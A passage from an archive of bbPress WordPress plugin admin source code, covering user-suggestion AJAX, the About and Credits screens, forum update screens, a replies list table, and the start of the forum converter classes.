		// Sanitize the request value (possibly not strictly)
		$suggest = sanitize_user( $request, $strict );

		// Bail if searching for invalid user string
		if ( empty( $suggest ) ) {
			wp_die();
		}

		// These single characters should not trigger a user query
		$disallowed_single_chars = array( '@', '.', '_', '-', '+', '!', '#', '$', '%', '&', '\\', '*', '+', '/', '=', '?', '^', '`', '{', '|', '}', '~' );

		// Bail if request is only for the above single characters
		if ( in_array( $suggest, $disallowed_single_chars, true ) ) {
			wp_die();
		}

		// Allow the maximum number of results to be filtered
		$number = (int) apply_filters( 'bbp_suggest_user_count', 10 );

		// Query database for users based on above criteria
		$users_query = new WP_User_Query( array(
			'search'         => '*' . bbp_db()->esc_like( $suggest ) . '*',
			'fields'         => $fields,
			'search_columns' => $search,
			'orderby'        => 'ID',
			'number'         => $number,
			'count_total'    => false
		) );

		// If we found some users, loop through and output them to the AJAX
		if ( ! empty( $users_query->results ) ) {
			foreach ( (array) $users_query->results as $user ) {
				printf( esc_html__( '%1$s - %2$s', 'bbpress' ), bbp_get_user_id( $user->ID ), bbp_get_user_nicename( $user->ID, array( 'force' => $user->user_nicename ) ) . "\n" );
			}
		}
		die();
	}

	/** About *****************************************************************/

	/**
	 * Output the shared screen header for about_screen() & credits_screen()
	 *
	 * Contains title, subtitle, and badge area
	 *
	 * @since 2.6.0 bbPress (r6604)
	 */
	private function screen_header() {
		list( $display_version ) = explode( '-', bbp_get_version() ); ?>

		<h1 class="wp-heading-inline"><?php printf( esc_html__( 'Welcome to bbPress %s', 'bbpress' ), $display_version ); ?></h1>
		<hr class="wp-header-end">
		<div class="about-text"><?php printf( esc_html__( 'bbPress is fun to use, contains no artificial colors or preservatives, and is absolutely wonderful in every environment. Your community is going to love using it.', 'bbpress' ), $display_version ); ?></div>

		<span class="bbp-hive" id="bbp-hive"></span>
		<div class="bbp-badge" id="bbp-badge">
			<span class="bbp-bee" id="bbp-bee"></span>
		</div>

		<?php
	}

	/**
	 * Output the about screen
	 *
	 * @since 2.2.0 bbPress (r4159)
	 *
	 * @todo Host this remotely.
	 */
	public function about_screen() {
		?>

		<div class="wrap about-wrap">

			<?php $this->screen_header(); ?>

			<h2 class="nav-tab-wrapper">
				<a class="nav-tab nav-tab-active" href="<?php echo esc_url( add_query_arg( array( 'page' => 'bbp-about' ), admin_url( 'index.php' ) ) ); ?>">
					<?php esc_html_e( 'What&#8217;s New', 'bbpress' ); ?>
				</a><a class="nav-tab" href="<?php echo esc_url( add_query_arg( array( 'page' => 'bbp-credits' ), admin_url( 'index.php' ) ) ); ?>">
					<?php esc_html_e( 'Credits', 'bbpress' ); ?>
				</a>
			</h2>

			<div class="changelog">
				<h3><?php esc_html_e( 'Forum Subscriptions', 'bbpress' ); ?></h3>

				<div class="feature-section col two-col">
					<div class="last-feature">
						<h4><?php esc_html_e( 'Subscribe to Forums', 'bbpress' ); ?></h4>
						<p><?php esc_html_e( 'Now your users can subscribe to new topics in specific forums.', 'bbpress' ); ?></p>
					</div>

					<div>
						<h4><?php esc_html_e( 'Manage Subscriptions', 'bbpress' ); ?></h4>
						<p><?php esc_html_e( 'Your users can manage all of their subscriptions in one convenient location.', 'bbpress' ); ?></p>
					</div>
				</div>
			</div>

			<div class="changelog">
				<h3><?php esc_html_e( 'Converters', 'bbpress' ); ?></h3>

				<div class="feature-section col one-col">
					<div class="last-feature">
						<p><?php esc_html_e( 'We&#8217;re all abuzz about the hive of new importers, AEF, Drupal, FluxBB, Kunena Forums for Joomla, MyBB, Phorum, PHPFox, PHPWind, PunBB, SMF, Xenforo and XMB. Existing importers are now sweeter than honey with improved importing stickies, topic tags, forum categories and the sting is now gone if you need to remove imported users.', 'bbpress' ); ?></p>
					</div>
				</div>

				<div class="feature-section col three-col">
					<div>
						<h4><?php esc_html_e( 'Theme Compatibility', 'bbpress' ); ?></h4>
						<p><?php esc_html_e( 'Better handling of styles and scripts in the template stack.', 'bbpress' ); ?></p>
					</div>

					<div>
						<h4><?php esc_html_e( 'Polyglot support', 'bbpress' ); ?></h4>
						<p><?php esc_html_e( 'bbPress fully supports automatic translation updates.', 'bbpress' ); ?></p>
					</div>

					<div class="last-feature">
						<h4><?php esc_html_e( 'User capabilities', 'bbpress' ); ?></h4>
						<p><?php esc_html_e( 'Roles and capabilities have been swept through, cleaned up, and simplified.', 'bbpress' ); ?></p>
					</div>
				</div>
			</div>

			<div class="return-to-dashboard">
				<a href="<?php echo esc_url( add_query_arg( array( 'page' => 'bbpress' ), admin_url( 'options-general.php' ) ) ); ?>"><?php esc_html_e( 'Go to Forum Settings', 'bbpress' ); ?></a>
			</div>

		</div>

		<?php
	}

	/**
	 * Output the credits screen
	 *
	 * @since 2.2.0 bbPress (r4159)
	 *
	 * @todo Host this remotely.
	 */
	public function credits_screen() {
		?>

		<div class="wrap about-wrap">

			<?php $this->screen_header(); ?>

			<h2 class="nav-tab-wrapper">
				<a href="<?php echo esc_url( add_query_arg( array( 'page' => 'bbp-about' ), admin_url( 'index.php' ) ) ); ?>" class="nav-tab">
					<?php esc_html_e( 'What&#8217;s New', 'bbpress' ); ?>
				</a><a href="<?php echo esc_url( add_query_arg( array( 'page' => 'bbp-credits' ), admin_url( 'index.php' ) ) ); ?>" class="nav-tab nav-tab-active">
					<?php esc_html_e( 'Credits', 'bbpress' ); ?>
				</a>
			</h2>

			<p class="about-description"><?php esc_html_e( 'bbPress is created by a worldwide swarm of busy, busy bees.', 'bbpress' ); ?></p>

			<h3 class="wp-people-group"><?php esc_html_e( 'Project Leaders', 'bbpress' ); ?></h3>
			<ul class="wp-people-group " id="wp-people-group-project-leaders">
				<li class="wp-person" id="wp-person-matt">
					<a href="https://profiles.wordpress.org/matt" class="web"><img src="http://0.gravatar.com/avatar/767fc9c115a1b989744c755db47feb60?s=120" class="gravatar" alt="" />Matt Mullenweg</a>
					<span class="title"><?php esc_html_e( 'Founding Developer', 'bbpress' ); ?></span>
				</li>
				<li class="wp-person" id="wp-person-johnjamesjacoby">
					<a href="https://profiles.wordpress.org/johnjamesjacoby" class="web"><img src="http://0.gravatar.com/avatar/7a2644fb53ae2f7bfd7143b504af396c?s=120" class="gravatar" alt="" />John James Jacoby</a>
					<span class="title"><?php esc_html_e( 'Lead Developer', 'bbpress' ); ?></span>
				</li>
				<li class="wp-person" id="wp-person-jmdodd">
					<a href="https://profiles.wordpress.org/jmdodd" class="web"><img src="http://0.gravatar.com/avatar/6a7c997edea340616bcc6d0fe03f65dd?s=120" class="gravatar" alt="" />Jennifer M. Dodd</a>
					<span class="title"><?php esc_html_e( 'Feature Virtuoso', 'bbpress' ); ?></span>
				</li>
				<li class="wp-person" id="wp-person-netweb">
					<a href="https://profiles.wordpress.org/netweb" class="web"><img src="http://0.gravatar.com/avatar/97e1620b501da675315ba7cfb740e80f?s=120" class="gravatar" alt="" />Stephen Edgar</a>
					<span class="title"><?php esc_html_e( 'Tool Maven', 'bbpress' ); ?></span>
				</li>
			</ul>

			<h3 class="wp-people-group"><?php esc_html_e( 'Contributing Developers', 'bbpress' ); ?></h3>
			<ul class="wp-people-group " id="wp-people-group-contributing-developers">
				<li class="wp-person" id="wp-person-sergeybiryukov">
					<a href="https://profiles.wordpress.org/SergeyBiryukov" class="web"><img src="http://0.gravatar.com/avatar/750b7b0fcd855389264c2b1294d61bd6?s=120" class="gravatar" alt="" />Sergey Biryukov</a>
					<span class="title"><?php esc_html_e( 'Core Developer', 'bbpress' ); ?></span>
				</li>
				<li class="wp-person" id="wp-person-thebrandonallen">
					<a href="https://profiles.wordpress.org/thebrandonallen" class="web"><img src="http://0.gravatar.com/avatar/6d3f77bf3c9ca94c406dea401b566950?s?s=120" class="gravatar" alt="" />Brandon Allen</a>
					<span class="title"><?php esc_html_e( 'Core Developer', 'bbpress' ); ?></span>
				</li>
			</ul>

			<h3 class="wp-people-group"><?php esc_html_e( 'Project Emeriti', 'bbpress' ); ?></h3>
			<ul class="wp-people-group " id="wp-people-group-project-emeriti">
				<li class="wp-person" id="wp-person-gautamgupta">
					<a href="https://profiles.wordpress.org/gautamgupta" class="web"><img src="http://0.gravatar.com/avatar/b0810422cbe6e4eead4def5ae7a90b34?s=120" class="gravatar" alt="" />Gautam Gupta</a>
					<span class="title"><?php esc_html_e( 'Feature Developer', 'bbpress' ); ?></span>
				</li>
				<li class="wp-person" id="wp-person-jaredatch">
					<a href="https://profiles.wordpress.org/jaredatch" class="web"><img src="http://0.gravatar.com/avatar/e341eca9e1a85dcae7127044301b4363?s=120" class="gravatar" alt="" />Jared Atchison</a>
					<span class="title"><?php esc_html_e( 'Integration Testing', 'bbpress' ); ?></span>
				</li>
			</ul>

			<h3 class="wp-people-group"><?php esc_html_e( 'Contributors to bbPress 2.6', 'bbpress' ); ?></h3>
			<p class="wp-credits-list">
				<a href="https://profiles.wordpress.org/alex-ye">alex-ye</a>,
				<a href="https://profiles.wordpress.org/ankit-k-gupta">ankit-k-gupta</a>,
				<a href="https://profiles.wordpress.org/barryhughes-1">barryhughes-1</a>,
				<a href="https://profiles.wordpress.org/boonebgorges">boonebgorges</a>,
				<a href="https://profiles.wordpress.org/casiepa">casiepa</a>,
				<a href="https://profiles.wordpress.org/cfinke">cfinke</a>,
				<a href="https://profiles.wordpress.org/danielbachhuber">danielbachhuber</a>,
				<a href="https://profiles.wordpress.org/dimitrovadrian">dimitrov.adrian</a>,
				<a href="https://profiles.wordpress.org/DJPaul">DJPaul</a>,
				<a href="https://profiles.wordpress.org/DrPepper75">DrPepper75</a>,
				<a href="https://profiles.wordpress.org/eoigal">eoigal</a>,
				<a href="https://profiles.wordpress.org/ericlewis">ericlewis</a>,
				<a href="https://profiles.wordpress.org/extendwings">extendwings</a>,
				<a href="https://profiles.wordpress.org/Faison">Faison</a>,
				<a href="https://profiles.wordpress.org/gautamgupta">gautamgupta</a>,
				<a href="https://profiles.wordpress.org/glynwintle">glynwintle</a>,
				<a href="https://profiles.wordpress.org/gusrb84">gusrb84</a>,
				<a href="https://profiles.wordpress.org/hellofromTonya">hellofromTonya</a>,
				<a href="https://profiles.wordpress.org/icu0755">icu0755</a>,
				<a href="https://profiles.wordpress.org/imath">imath</a>,
				<a href="https://profiles.wordpress.org/jbrinley">jbrinley</a>,
				<a href="https://profiles.wordpress.org/jdgrimes">jdgrimes</a>,
				<a href="https://profiles.wordpress.org/jmdodd">jmdodd</a>,
				<a href="https://profiles.wordpress.org/joedolson">joedolson</a>,
				<a href="https://profiles.wordpress.org/johnbillion">johnbillion</a>,
				<a href="https://profiles.wordpress.org/johnjamesjacoby">johnjamesjacoby</a>,
				<a href="https://profiles.wordpress.org/jorbin">jorbin</a>,
				<a href="https://profiles.wordpress.org/jreeve">jreeve</a>,
				<a href="https://profiles.wordpress.org/kadamwhite ">kadamwhite</a>,
				<a href="https://profiles.wordpress.org/karlgroves">karlgroves</a>,
				<a href="https://profiles.wordpress.org/mat-lipe">mat-lipe</a>,
				<a href="https://profiles.wordpress.org/mazengamal">mazengamal</a>,
				<a href="https://profiles.wordpress.org/melchoyce">melchoyce</a>,
				<a href="https://profiles.wordpress.org/mercime">mercime</a>,
				<a href="https://profiles.wordpress.org/michaelbeil">michaelbeil</a>,
				<a href="https://profiles.wordpress.org/mikelopez">mikelopez</a>,
				<a href="https://profiles.wordpress.org/mordauk">mordauk</a>,
				<a href="https://profiles.wordpress.org/mspecht">mspecht</a>,
				<a href="https://profiles.wordpress.org/MZAWeb">MZAWeb</a>,
				<a href="https://profiles.wordpress.org/netweb">netweb</a>,
				<a href="https://profiles.wordpress.org/ocean90">ocean90</a>,
				<a href="https://profiles.wordpress.org/offereins">offereins</a>,
				<a href="https://profiles.wordpress.org/pareshradadiya">pareshradadiya</a>,
				<a href="https://profiles.wordpress.org/r-a-y">r-a-y</a>,
				<a href="https://profiles.wordpress.org/ramiy">ramiy</a>,
				<a href="https://profiles.wordpress.org/robin-w">robin-w</a>,
				<a href="https://profiles.wordpress.org/robkk">robkk</a>,
				<a href="https://profiles.wordpress.org/ryelle">ryelle</a>,
				<a href="https://profiles.wordpress.org/satollo">satollo</a>,
				<a href="https://profiles.wordpress.org/SergeyBiryukov">Sergey Biryukov</a>,
				<a href="https://profiles.wordpress.org/SGr33n">SGr33n</a>,
				<a href="https://profiles.wordpress.org/stephdau">stephdau</a>,
				<a href="https://profiles.wordpress.org/tharsheblows">tharsheblows</a>,
				<a href="https://profiles.wordpress.org/thebrandonallen">thebrandonallen</a>,
				<a href="https://profiles.wordpress.org/tobyhawkins">tobyhawkins</a>,
				<a href="https://profiles.wordpress.org/tonyrix">tonyrix</a>,
				<a href="https://profiles.wordpress.org/treyhunner">treyhunner</a>,
				<a href="https://profiles.wordpress.org/tw2113">tw2113</a>,
				<a href="https://profiles.wordpress.org/xknown">xknown</a>
			</p>

			<div class="return-to-dashboard">
				<a href="<?php echo esc_url( add_query_arg( array( 'page' => 'bbpress' ), admin_url( 'options-general.php' ) ) ); ?>"><?php esc_html_e( 'Go to Forum Settings', 'bbpress' ); ?></a>
			</div>

		</div>

		<?php
	}

	/** Updaters **************************************************************/

	/**
	 * Update all bbPress forums across all sites
	 *
	 * @since 2.1.0 bbPress (r3689)
	 */
	public static function update_screen() {

		// Get action
		$action = isset( $_GET['action'] ) ? $_GET['action'] : ''; ?>

		<div class="wrap">
			<h1 class="wp-heading-inline"><?php esc_html_e( 'Update Forum', 'bbpress' ); ?></h1>
			<hr class="wp-header-end">

		<?php

		// Taking action
		switch ( $action ) {
			case 'bbp-update' :

				// Run the full updater
				bbp_version_updater(); ?>

				<p><?php esc_html_e( 'All done!', 'bbpress' ); ?></p>
				<a class="button" href="index.php?page=bbp-update"><?php esc_html_e( 'Go Back', 'bbpress' ); ?></a>

				<?php

				break;

			case 'show' :
			default : ?>

				<p><?php esc_html_e( 'You can update your forum through this page. Hit the link below to update.', 'bbpress' ); ?></p>
				<p><a class="button" href="index.php?page=bbp-update&amp;action=bbp-update"><?php esc_html_e( 'Update Forum', 'bbpress' ); ?></a></p>

			<?php break;

		} ?>

		</div><?php
	}

	/**
	 * Update all bbPress forums across all sites
	 *
	 * @since 2.1.0 bbPress (r3689)
	 */
	public static function network_update_screen() {
		$bbp_db = bbp_db();

		// Get action
		$action = isset( $_GET['action'] ) ? $_GET['action'] : ''; ?>

		<div class="wrap">
			<h1 class="wp-heading-inline"><?php esc_html_e( 'Update Forums', 'bbpress' ); ?></h1>
			<hr class="wp-header-end">

		<?php

		// Taking action
		switch ( $action ) {
			case 'bbpress-update' :

				// Site counter
				$n = isset( $_GET['n'] ) ? intval( $_GET['n'] ) : 0;

				// Get blogs 5 at a time
				$blogs = $bbp_db->get_results( "SELECT * FROM {$bbp_db->blogs} WHERE site_id = '{$bbp_db->siteid}' AND spam = '0' AND deleted = '0' AND archived = '0' ORDER BY registered DESC LIMIT {$n}, 5", ARRAY_A );

				// No blogs so all done!
				if ( empty( $blogs ) ) : ?>

					<p><?php esc_html_e( 'All done!', 'bbpress' ); ?></p>
					<a class="button" href="update-core.php?page=bbpress-update"><?php esc_html_e( 'Go Back', 'bbpress' ); ?></a>

				<?php

				// Still have sites to loop through
				else : ?>

					<ul>

						<?php foreach ( (array) $blogs as $details ) :

							// Get site URLs
							$site_url   = get_site_url( $details['blog_id'] );
							$admin_url  = get_site_url( $details['blog_id'], 'wp-admin.php', 'admin' );
							$remote_url = add_query_arg( array(
								'page'   => 'bbp-update',
								'action' => 'bbp-update'
							), $admin_url ); ?>

							<li><?php echo esc_html( $site_url ); ?></li>

							<?php

							// Get the response of the bbPress update on this site
							$response = wp_remote_get(
								$remote_url,
								array(
									'timeout'     => 30,
									'httpversion' => '1.1'
								)
							);

							// Site errored out, no response?
							if ( is_wp_error( $response ) ) {
								wp_die( sprintf( esc_html__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s', 'bbpress' ), $site_url, '<em>' . $response->get_error_message() . '</em>' ) );
							}

							// Switch to the new site
							bbp_switch_to_site( $details[ 'blog_id' ] );

							$basename = bbpress()->basename;

							// Run the updater on this site
							if ( is_plugin_active_for_network( $basename ) || is_plugin_active( $basename ) ) {
								bbp_version_updater();
							}

							// Restore original site
							bbp_restore_current_site();

							// Do some actions to allow plugins to do things too
							do_action( 'after_bbpress_upgrade', $response             );
							do_action( 'bbp_upgrade_site',      $details[ 'blog_id' ] );

						endforeach; ?>

					</ul>

					<p>
						<?php esc_html_e( 'If your browser doesn&#8217;t start loading the next page automatically, click this link:', 'bbpress' ); ?>
						<a class="button" href="update-core.php?page=bbpress-update&amp;action=bbpress-update&amp;n=<?php echo ( $n + 5 ); ?>"><?php esc_html_e( 'Next Forums', 'bbpress' ); ?></a>
					</p>
					<script type='text/javascript'>
						<!--
						function nextpage() {
							location.href = 'update-core.php?page=bbpress-update&action=bbpress-update&n=<?php echo ( $n + 5 ) ?>';
						}
						setTimeout( 'nextpage()', 250 );
						//-->
					</script><?php

				endif;

				break;

			case 'show' :
			default : ?>

				<p><?php esc_html_e( 'You can update all the forums on your network through this page. It works by calling the update script of each site automatically. Hit the link below to update.', 'bbpress' ); ?></p>
				<p><a class="button" href="update-core.php?page=bbpress-update&amp;action=bbpress-update"><?php esc_html_e( 'Update Forums', 'bbpress' ); ?></a></p>

			<?php break;

		} ?>

		</div><?php
	}
}
endif; // class_exists check
includes/admin/classes/class-bbp-topic-replies-list-table.php000066600000020524151771460310020305 0ustar00<?php

/**
 * Topic Replies List Table class.
 *
 * @package    bbPress
 * @subpackage Administration
 * @since      2.6.0
 * @access     private
 *
 * @see WP_Posts_List_Table
 */

// Include the main list table class if it's not included yet
if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

if ( class_exists( 'WP_List_Table' ) ) :
/**
 * Topic replies list table
 *
 * This list table is responsible for showing the replies to a topic in a
 * meta-box, similar to comments in posts and pages.
 *
 * @since 2.6.0 bbPress (r5886)
 */
class BBP_Topic_Replies_List_Table extends WP_List_Table {

	/**
	 * The main constructor method
	 *
	 * @since 2.6.0 bbPress (r5886)
	 */
	public function __construct( $args = array() ) {

		// Parse arguments
		$args = bbp_parse_args( $args, array(
			'singular' => 'reply',
			'plural'   => 'replies',
			'ajax'     => false
		), 'topic_replies_list_table' );

		// Construct the list table
		parent::__construct( $args );	}

	/**
	 * Setup the list-table columns
	 *
	 * @since 2.6.0 bbPress (r5886)
	 *
	 * @see WP_List_Table::::single_row_columns()
	 *
	 * @return array An associative array containing column information
	 */
	public function get_columns() {
		return array(
			//'cb'                 => '<input type="checkbox" />',
			'bbp_topic_reply_author' => esc_html__( 'Author',  'bbpress' ),
			'bbp_reply_content'      => esc_html__( 'Content', 'bbpress' ),
			'bbp_reply_created'      => esc_html__( 'Replied', 'bbpress' ),
		);
	}

	/**
	 * Allow `bbp_reply_created` to be sortable
	 *
	 * @since 2.6.0 bbPress (r5886)
	 *
	 * @return array An associative array containing the `bbp_reply_created` column
	 */
	public function get_sortable_columns() {
		return array(
			'bbp_reply_created' => array( 'bbp_reply_created', false )
		);
	}

	/**
	 * Setup the bulk actions
	 *
	 * @since 2.6.0 bbPress (r5886)
	 *
	 * @return array An associative array containing all the bulk actions
	 */
	public function get_bulk_actions() {
		return array();

		// @todo cap checks
		return array(
			'unapprove' => esc_html__( 'Unapprove', 'bbpress' ),
			'spam'      => esc_html__( 'Spam',      'bbpress' ),
			'trash'     => esc_html__( 'Trash',     'bbpress' )
		);
	}

	/**
	 * Output the check-box column for bulk actions (if we implement them)
	 *
	 * @since 2.6.0 bbPress (r5886)
	 */
	public function column_cb( $item = '' ) {
		return sprintf(
			'<input type="checkbox" name="%1$s[]" value="%2$s" />',
			$this->_args['singular'],
			$item->ID
		);
	}

	/**
	 * Output the contents of the `bbp_topic_reply_author` column
	 *
	 * @since 2.6.0 bbPress (r5886)
	 */
	public function column_bbp_topic_reply_author( $item = '' ) {
		bbp_reply_author_avatar( $item->ID, 50 );
		bbp_reply_author_display_name( $item->ID );
		echo '<br>';
		bbp_reply_author_email( $item->ID );
		echo '<br>';
		bbp_author_ip( array( 'post_id' => $item->ID ) );
	}

	/**
	 * Output the contents of the `bbp_reply_created` column
	 *
	 * @since 2.6.0 bbPress (r5886)
	 */
	public function column_bbp_reply_created( $item = '' ) {
		return sprintf( '%1$s <br /> %2$s',
			esc_attr( get_the_date( '', $item ) ),
			esc_attr( get_the_time( '', $item ) )
		);
	}

	/**
	 * Output the contents of the `bbp_reply_content` column
	 *
	 * @since 2.6.0 bbPress (r5886)
	 */
	public function column_bbp_reply_content( $item = '' ) {

		// Define actions array
		$actions = array(
			'view' => '<a href="' . bbp_get_reply_url( $item->ID )  . '">' . esc_html__( 'View', 'bbpress' ) . '</a>'
		);

		// Prepend `edit` link
		if ( current_user_can( 'edit_reply', $item->ID ) ) {
			$actions['edit'] = '<a href="' . get_edit_post_link( $item->ID ) . '">' . esc_html__( 'Edit', 'bbpress' ) . '</a>';
			$actions         = array_reverse( $actions );
		}

		// Filter the reply content
		$reply_content = apply_filters( 'bbp_get_reply_content', $item->post_content, $item->ID );
		$reply_actions = $this->row_actions( $actions );

		// Return content & actions
		return $reply_content . $reply_actions;
	}

	/**
	 * Handle bulk action requests
	 *
	 * @since 2.6.0 bbPress (r5886)
	 */
	public function process_bulk_action() {
		switch ( $this->current_action() ) {
			case 'trash' :
				break;
			case 'unapprove' :
				break;
			case 'spam' :
				break;
		}
	}

	/**
	 * Prepare the list-table items for display
	 *
	 * @since 2.6.0 bbPress (r5886)
	 */
	public function prepare_items( $topic_id = 0 ) {

		// Sanitize the topic ID
		$topic_id = bbp_get_topic_id( $topic_id );

		// Set column headers
		$this->_column_headers = array(
			$this->get_columns(),
			array(),
			$this->get_sortable_columns()
		);

		// Handle bulk actions
		$this->process_bulk_action();

		// Query parameters
		$per_page     = 5;
		$current_page = $this->get_pagenum();
		$orderby      = ! empty( $_REQUEST['orderby'] ) ? sanitize_key( $_REQUEST['orderby'] ) : 'date';
		$order        = ! empty( $_REQUEST['order']   ) ? sanitize_key( $_REQUEST['order']   ) : 'asc';
		$statuses     = bbp_get_public_reply_statuses();

		// Maybe add private statuses to query
		if ( current_user_can( 'edit_others_replies' ) ) {

			// Default view=all statuses
			$statuses = array_keys( bbp_get_topic_statuses() );

			// Add support for private status
			if ( current_user_can( 'read_private_replies' ) ) {
				$statuses[] = bbp_get_private_status_id();
			}
		}

		// Query for replies
		$reply_query  = new WP_Query( array(
			'post_type'           => bbp_get_reply_post_type(),
			'post_status'         => $statuses,
			'post_parent'         => $topic_id,
			'posts_per_page'      => $per_page,
			'paged'               => $current_page,
			'orderby'             => $orderby,
			'order'               => ucwords( $order ),
			'hierarchical'        => false,
			'ignore_sticky_posts' => true
		) );

		// Get the total number of replies, for pagination
		$total_items = bbp_get_topic_reply_count( $topic_id );

		// Set list table items to queried posts
		$this->items = $reply_query->posts;

		// Set the pagination arguments
		$this->set_pagination_args( array(
			'total_items' => $total_items,
			'per_page'    => $per_page,
			'total_pages' => ceil( $total_items / $per_page )
		) );
	}

	/**
	 * Message to be displayed when there are no items
	 *
	 * @since 2.6.0 bbPress (r5930)
	 */
	public function no_items() {
		esc_html_e( 'No replies to this topic.', 'bbpress' );
	}

	/**
	 * Display the list table
	 *
	 * This custom method is necessary because the one in `WP_List_Table` comes
	 * with a nonce and check that we do not need.
	 *
	 * @since 2.6.0 bbPress (r5930)
	 */
	public function display() {

		// Top
		$this->display_tablenav( 'top' ); ?>

		<table id="bbp-reply-list" class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
			<thead>
				<tr>
					<?php $this->print_column_headers(); ?>
				</tr>
			</thead>

			<tbody id="the-list" data-wp-lists='list:<?php echo $this->_args['singular']; ?>'>
				<?php $this->display_rows_or_placeholder(); ?>
			</tbody>

			<tfoot>
				<tr>
					<?php $this->print_column_headers( false ); ?>
				</tr>
			</tfoot>
		</table>

		<?php

		// Bottom
		$this->display_tablenav( 'bottom' );
	}

	/**
	 * Generate the table navigation above or below the table
	 *
	 * This custom method is necessary because the one in `WP_List_Table` comes
	 * with a nonce and check that we do not need.
	 *
	 * @since 2.6.0 bbPress (r5930)
	 *
	 * @param string $which
	 */
	protected function display_tablenav( $which = '' ) {
		?>

		<div class="tablenav <?php echo esc_attr( $which ); ?>">
			<?php
				$this->extra_tablenav( $which );
				$this->pagination( $which );
			?>
			<br class="clear" />
		</div>

		<?php
	}

	/**
	 * Generates content for a single row of the table
	 *
	 * @since 2.6.0
	 * @access public
	 *
	 * @param object $item The current item
	 */
	public function single_row( $item ) {

		// Author
		$classes = 'author-' . ( get_current_user_id() == $item->post_author ? 'self' : 'other' );

		// Locked
		if ( wp_check_post_lock( $item->ID ) ) {
			$classes .= ' wp-locked';
		}

		// Hierarchy
		if ( ! empty( $item->post_parent ) ) {
		    $count    = count( get_post_ancestors( $item->ID ) );
		    $classes .= ' level-'. $count;
		} else {
		    $classes .= ' level-0';
		} ?>

		<tr id="post-<?php echo esc_attr( $item->ID ); ?>" class="<?php echo implode( ' ', get_post_class( $classes, $item->ID ) ); ?>">
			<?php $this->single_row_columns( $item ); ?>
		</tr>

		<?php
	}
}
endif;
includes/admin/classes/class-bbp-converter-db.php000066600000002746151771460310016070 0ustar00<?php

/**
 * bbPress Converter Database
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Converter_DB' ) && class_exists( 'wpdb' ) ) :
/**
 * bbPress Converter Database Access Abstraction Object
 *
 * @since 2.6.0 bbPress (r6784)
 */
class BBP_Converter_DB extends wpdb {

	/**
	 * Sets up the credentials used to connect to the database server, but does
	 * not actually connect to the database on construct.
	 *
	 * @since 2.6.0 bbPress (r6784)
	 *
	 * @param string $dbuser     MySQL database user
	 * @param string $dbpassword MySQL database password
	 * @param string $dbname     MySQL database name
	 * @param string $dbhost     MySQL database host
	 */
	public function __construct( $dbuser, $dbpassword, $dbname, $dbhost ) {
		register_shutdown_function( array( $this, '__destruct' ) );

		if ( WP_DEBUG && WP_DEBUG_DISPLAY ) {
			$this->show_errors();
		}

		// Use ext/mysqli if it exists unless WP_USE_EXT_MYSQL is defined as true
		if ( function_exists( 'mysqli_connect' ) ) {
			$this->use_mysqli = true;

			if ( defined( 'WP_USE_EXT_MYSQL' ) ) {
				$this->use_mysqli = ! WP_USE_EXT_MYSQL;
			}
		}

		// Setup credentials
		$this->dbuser     = $dbuser;
		$this->dbpassword = $dbpassword;
		$this->dbname     = $dbname;
		$this->dbhost     = $dbhost;

		// Normally wpdb would try to connect here, but we don't want to do that
		// until we are good and ready, so instead we do nothing.
	}
}
endif;
includes/admin/classes/class-bbp-converter.php000066600000062440151771460310015502 0ustar00<?php

/**
 * bbPress Converter
 *
 * Based on the hard work of Adam Ellis
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Converter' ) ) :
/**
 * Main BBP_Converter Class
 */
class BBP_Converter {

	/**
	 * @var int Number of rows
	 */
	public $max = 0;

	/**
	 * @var int Start
	 */
	public $start = 0;

	/**
	 * @var int Step in converter process
	 */
	public $step = 0;

	/**
	 * @var int Number of rows
	 */
	public $rows = 0;

	/**
	 * @var int Maximum number of converter steps
	 */
	public $max_steps = 17;

	/**
	 * @var int Number of rows in the current step
	 */
	public $rows_in_step = 0;

	/**
	 * @var int Percent complete of current step
	 */
	public $step_percentage = 0;

	/**
	 * @var int Percent complete of all step
	 */
	public $total_percentage = 0;

	/**
	 * @var int Name of source forum platform
	 */
	public $platform = '';

	/**
	 * @var BBP_Converter_Base Type of converter to use
	 */
	public $converter = null;

	/**
	 * @var string Path to included platforms
	 */
	public $converters_dir = '';

	/**
	 * @var array Map of steps to methods
	 */
	private $steps = array(
		1  => 'sync_table',
		2  => 'users',
		3  => 'passwords',
		4  => 'forums',
		5  => 'forum_hierarchy',
		6  => 'forum_subscriptions',
		7  => 'topics',
		8  => 'topics_authors',
		9  => 'stickies',
		10 => 'super_stickies',
		11 => 'closed_topics',
		12 => 'topic_tags',
		13 => 'topic_subscriptions',
		14 => 'topic_favorites',
		15 => 'replies',
		16 => 'reply_authors',
		17 => 'reply_hierarchy'
	);

	/**
	 * The main bbPress Converter loader
	 *
	 * @since 2.1.0 bbPress (r3813)
	 */
	public function __construct() {
		$this->setup_globals();
		$this->setup_actions();
	}

	/**
	 * Admin globals
	 *
	 * @since 2.6.0 bbPress (r6598)
	 */
	public function setup_globals() {
		$this->converters_dir = bbp_setup_admin()->admin_dir . 'converters/';
	}

	/**
	 * Setup the default actions
	 *
	 * @since 2.1.0 bbPress (r3813)
	 */
	public function setup_actions() {

		// Attach to the admin head with our ajax requests cycle and css
		add_action( 'admin_head-tools_page_bbp-converter', array( $this, 'admin_head' ) );

		// Attach to the admin ajax request to process cycles
		add_action( 'wp_ajax_bbp_converter_process', array( $this, 'process_callback' ) );
	}

	/**
	 * Admin scripts
	 *
	 * @since 2.1.0 bbPress (r3813)
	 */
	public function admin_head() {

		// Enqueue scripts
		wp_enqueue_script( 'bbp-converter' );

		// Localize JS
		wp_localize_script( 'bbp-converter', 'BBP_Converter', array(

			// Nonce
			'ajax_nonce' => wp_create_nonce( 'bbp_converter_process' ),

			// UI State
			'state' => array(
				'delay'         => (int)  get_option( '_bbp_converter_delay_time', 2 ),
				'started'       => (bool) get_option( '_bbp_converter_step',       0 ),
				'running'       => false,
				'status'        => false,
				'step_percent'  => $this->step_percentage,
				'total_percent' => $this->total_percentage
			),

			// Strings
			'strings' => array(

				// Button text
				'button_start'        => esc_html__( 'Start',    'bbpress' ),
				'button_continue'     => esc_html__( 'Continue', 'bbpress' ),

